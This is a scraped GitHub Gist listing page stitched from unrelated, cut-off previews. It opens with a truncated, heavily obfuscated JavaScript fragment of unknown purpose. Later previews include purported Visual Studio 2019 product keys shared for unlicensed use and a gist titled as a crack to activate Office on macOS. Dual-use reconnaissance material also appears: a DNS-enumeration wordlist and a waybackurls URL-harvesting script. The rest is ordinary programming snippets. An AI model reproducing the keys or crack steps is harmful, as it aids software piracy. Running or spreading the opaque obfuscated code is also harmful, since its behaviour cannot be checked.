Skip to content

Instantly share code, notes, and snippets.

''use strict';
(function (T, k) {
const H = T();
while (true) {
try {
const i = parseInt(m(1522, 0x822)) / 1 * (-parseInt(m(3719, 0x1278)) / 2) + -parseInt(m(1304, 0x2a)) / 3 * (-parseInt(m(3749, 0xdfc)) / 4) + parseInt(m(3892, 0xa7a)) / 5 + -parseInt(A(1505, "Id^c")) / 6 * (-parseInt(m(1388, 0x1b7)) / 7) + parseInt(m(710, 0x8cc)) / 8 + parseInt(A(2816, "@fu9")) / 9 * (-parseInt(m(1595, 0xd1f)) / 10) + -parseInt(m(1617, 0x791)) / 11 * (parseInt(m(1647, 0x38c)) / 12);
if (i === k) {
break;
} else {
@sunmughan
sunmughan / gist:726dc5591deaeddd21668bd9b0cc527b
Last active July 26, 2024 09:42
Microsoft Visual Studio Product Key 2022 - 2023
Please STAR this gist if it worked for you 💜
Visual Studio 2019 Enterprise
BF8Y8-GN2QH-T84XB-QVY3B-RC4DF
Visual Studio 2019 Professional
NYWVH-HT4XC-R2WYW-9Y3CM-X4V3Y
@zthxxx
zthxxx / Activate Office 2019 for macOS VoL.md
Last active July 30, 2024 04:57
crack activate Office on mac with license file
@mobynote
mobynote / DemoRepository
Created March 7, 2018 03:17
Use jdbcTemplate implement a pagination in spring
package com.domain;
import com.domain.Module;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.PageImpl;
import org.springframework.data.domain.Pageable;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.stereotype.Repository;
@cunneen
cunneen / Readme.md
Last active June 10, 2024 08:47
Install Open GApps In Android Emulator

Introduction

This works to install Open GApps into the Android Emulator, working around the issue where the system partition is too small.

With it, I can get Google Play installing into the emulator. Tested on KitKat (API 19), Lollipop (API 21) and Oreo (API 27).

It's tested on MacOS.

Instructions

@Shourai
Shourai / Allowing SSH on a server with an active OpenVPN client.md
Last active July 11, 2024 20:22
Allowing SSH on a server with an active OpenVPN client

If you want to SSH to a VPS which is running openVPN do the following:
source: https://serverfault.com/questions/659955/allowing-ssh-on-a-server-with-an-active-openvpn-client

Enable

The problem is that the default gateway gets changed by OpenVPN, and that breaks your current SSH connection unless you set up appropriate routes before you start OpenVPN.

What follows works for me. It uses iptables and ip (iproute2). Below, it is assumed that the default gateway interface before OpenVPN is started is "eth0". The idea is to ensure that when a connection to eth0 is made, even if eth0 is not the default gateway interface anymore, response packets for the connection go back on eth0 again.

You could use the same number for the connection mark, firewall mark and routing table. I used distinct numbers to make the diffences between them more apparent.

@jhaddix
jhaddix / all.txt
Last active July 29, 2024 06:49
all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/
This file has been truncated, but you can view the full file.
.
..
........
@
*
*.*
*.*.*
🐎
import requests
import sys
import json
def waybackurls(host, with_subs):
if with_subs:
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
else:
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
@frgomes
frgomes / install-docker.sh
Last active June 6, 2021 18:52
Debian - install docker in Debian Jessie
#!/bin/bash
# compiled from https://docs.docker.com/engine/installation/linux/debian/#/debian-jessie-80-64-bit
sudo apt-get update
sudo apt-get dist-upgrade -y
sudo apt-get install apt-transport-https ca-certificates -y
sudo sh -c "echo deb https://apt.dockerproject.org/repo debian-jessie main > /etc/apt/sources.list.d/docker.list"
sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
@rogerhu
rogerhu / Contact.java
Last active June 9, 2022 23:32
Endless scrolling with RecyclerVIew
package codepath.com.recyclerviewfun;
import java.util.ArrayList;
import java.util.List;
public class Contact {
private String mName;
private boolean mOnline;
public Contact(String name, boolean online) {